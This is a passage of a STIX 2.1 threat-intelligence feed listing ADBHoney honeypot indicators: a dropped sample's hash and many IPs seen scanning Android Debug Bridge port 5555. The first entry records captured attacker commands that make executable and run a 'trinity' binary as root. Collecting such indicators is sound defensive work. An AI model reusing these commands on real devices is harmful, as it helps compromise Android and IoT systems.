      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857.raw; src_ip=203.229.224.194; src_ips=203.229.224.194; cc=KR; last_seen=2026-04-03T10:25:43.679Z; cmds=[/data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity | chmod 0755 /data/local/tmp/trinity]",
      "id": "indicator--af73cc57-59ed-40a7-8fd4-c2a85fd31780",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T11:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T12:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=60223; asn_org=Netiface Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-03T11:40:16.000Z | last_seen=2026-04-03T11:41:19.048Z | ports=5555 | cc=NL | asn=60223 | org=Netiface Limited",
      "id": "indicator--a177e8d8-f9e5-4456-8e68-ca2aa6fa2e31",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.242.3.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T12:00:08.000Z",
      "valid_until": "2026-05-05T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-03T11:40:16.000Z",
          "last_seen": "2026-04-03T11:41:19.048Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "60223"
          ],
          "org": [
            "Netiface Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T12:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=ZM; asn=36962; asn_org=MTN Zambia; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-03T11:26:38.000Z | last_seen=2026-04-03T11:36:48.264Z | ports=5555 | cc=ZM | asn=36962 | org=MTN Zambia",
      "id": "indicator--65945178-fa35-4772-8b44-31f7c6b4b3a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '41.216.73.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T12:00:08.000Z",
      "valid_until": "2026-05-05T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-03T11:26:38.000Z",
          "last_seen": "2026-04-03T11:36:48.264Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ZM"
          ],
          "asn": [
            "36962"
          ],
          "org": [
            "MTN Zambia"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T12:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-03T11:58:39.000Z | last_seen=2026-04-03T12:08:41.283Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T12:00:08.000Z",
      "valid_until": "2026-05-05T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-03T11:58:39.000Z",
          "last_seen": "2026-04-03T12:08:41.283Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T12:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-03T11:58:15.000Z | last_seen=2026-04-03T11:59:18.890Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b68acf7d-903e-4036-aa8b-cb595e80bbfd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T12:00:08.000Z",
      "valid_until": "2026-05-05T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-03T11:58:15.000Z",
          "last_seen": "2026-04-03T11:59:18.890Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-03T12:56:55.000Z | last_seen=2026-04-03T12:58:02.427Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--d3d6ad5d-4233-4b49-ad2c-87e5a2d861ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.31.129.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T13:00:03.000Z",
      "valid_until": "2026-05-05T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-03T12:56:55.000Z",
          "last_seen": "2026-04-03T12:58:02.427Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=BR; asn=264590; asn_org=NAVEX TELECOM; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-03T12:06:30.000Z | last_seen=2026-04-03T12:16:31.057Z | ports=5555 | cc=BR | asn=264590 | org=NAVEX TELECOM",
      "id": "indicator--938bafde-7771-458b-9129-c9a5db02a5c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.36.215.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T13:00:03.000Z",
      "valid_until": "2026-05-05T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-03T12:06:30.000Z",
          "last_seen": "2026-04-03T12:16:31.057Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "264590"
          ],
          "org": [
            "NAVEX TELECOM"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T18:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=11 | first_seen=2026-04-03T17:40:06.000Z | last_seen=2026-04-03T17:50:17.666Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--b6c58546-be9d-468d-a0a8-1f19b0bd953c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.227.170.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T18:00:03.000Z",
      "valid_until": "2026-05-05T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 11,
          "first_seen": "2026-04-03T17:40:06.000Z",
          "last_seen": "2026-04-03T17:50:17.666Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=61 | first_seen=2026-04-03T19:11:55.000Z | last_seen=2026-04-21T19:42:07.435Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--e7079ce2-6965-4370-b216-6923ce899deb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T20:00:03.000Z",
      "valid_until": "2026-05-05T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 61,
          "first_seen": "2026-04-03T19:11:55.000Z",
          "last_seen": "2026-04-21T19:42:07.435Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=27 | first_seen=2026-04-03T19:12:03.000Z | last_seen=2026-04-22T08:22:26.702Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--80bff7c6-39f7-4578-b938-64deec9452dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T20:00:03.000Z",
      "valid_until": "2026-05-05T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 27,
          "first_seen": "2026-04-03T19:12:03.000Z",
          "last_seen": "2026-04-22T08:22:26.702Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T21:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=VE; asn=61461; asn_org=Airtek Solutions C.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-03T20:05:29.000Z | last_seen=2026-04-03T20:15:34.083Z | ports=5555 | cc=VE | asn=61461 | org=Airtek Solutions C.A.",
      "id": "indicator--56416f9c-057a-47bc-a434-b96a0bf990c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '38.166.184.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T21:00:14.000Z",
      "valid_until": "2026-05-05T21:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-03T20:05:29.000Z",
          "last_seen": "2026-04-03T20:15:34.083Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VE"
          ],
          "asn": [
            "61461"
          ],
          "org": [
            "Airtek Solutions C.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-03T22:16:42.000Z | last_seen=2026-04-03T22:26:58.396Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--703aa8b3-5ad9-4577-9650-792a714f8a83",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.222.128.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T23:00:02.000Z",
      "valid_until": "2026-05-05T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-03T22:16:42.000Z",
          "last_seen": "2026-04-03T22:26:58.396Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=GB; asn=13213; asn_org=Thg Hosting Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-03T22:16:14.000Z | last_seen=2026-04-03T22:17:21.009Z | ports=5555 | cc=GB | asn=13213 | org=Thg Hosting Limited",
      "id": "indicator--0f8ca808-05b2-4a73-bae1-2f2027e9b18b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.63.151.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T23:00:02.000Z",
      "valid_until": "2026-05-05T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-03T22:16:14.000Z",
          "last_seen": "2026-04-03T22:17:21.009Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "13213"
          ],
          "org": [
            "Thg Hosting Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T01:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=1; ports=5555; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; cats=Generic Protocol Command Decode; adb_cmd_hits=3\n\nObserved in ADBHoney telemetry for 2026-04. events=3 | first_seen=2026-04-04T00:46:59.289Z | last_seen=2026-04-15T14:57:37.838Z | ports=5555 | cc=AU | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--afbb2818-1215-4df4-bc60-2174992cc157",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.105.186.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:00:02.000Z",
      "valid_until": "2026-05-06T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 3,
          "first_seen": "2026-04-04T00:46:59.289Z",
          "last_seen": "2026-04-15T14:57:37.838Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AU"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T01:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=DE; asn=25369; asn_org=Hydra Communications Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-04T00:37:03.000Z | last_seen=2026-04-04T00:38:41.613Z | ports=5555 | cc=DE | asn=25369 | org=Hydra Communications Ltd",
      "id": "indicator--7a163de1-78da-4600-93de-af279289e45c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.88.98.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:00:02.000Z",
      "valid_until": "2026-05-06T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-04T00:37:03.000Z",
          "last_seen": "2026-04-04T00:38:41.613Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "25369"
          ],
          "org": [
            "Hydra Communications Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T01:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=DE; asn=25369; asn_org=Hydra Communications Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-04T00:36:51.000Z | last_seen=2026-04-04T00:36:58.597Z | ports=5555 | cc=DE | asn=25369 | org=Hydra Communications Ltd",
      "id": "indicator--3c30516d-4ca4-4445-b391-3ccf744cc5f8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.88.98.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:00:02.000Z",
      "valid_until": "2026-05-06T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-04T00:36:51.000Z",
          "last_seen": "2026-04-04T00:36:58.597Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "25369"
          ],
          "org": [
            "Hydra Communications Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T02:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=CO; asn=52468; asn_org=UFINET PANAMA S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-04T01:20:20.000Z | last_seen=2026-04-04T01:30:29.004Z | ports=5555 | cc=CO | asn=52468 | org=UFINET PANAMA S.A.",
      "id": "indicator--28d9bfac-a04a-43ed-9332-f5ca6862c76f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '181.119.67.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T02:00:10.000Z",
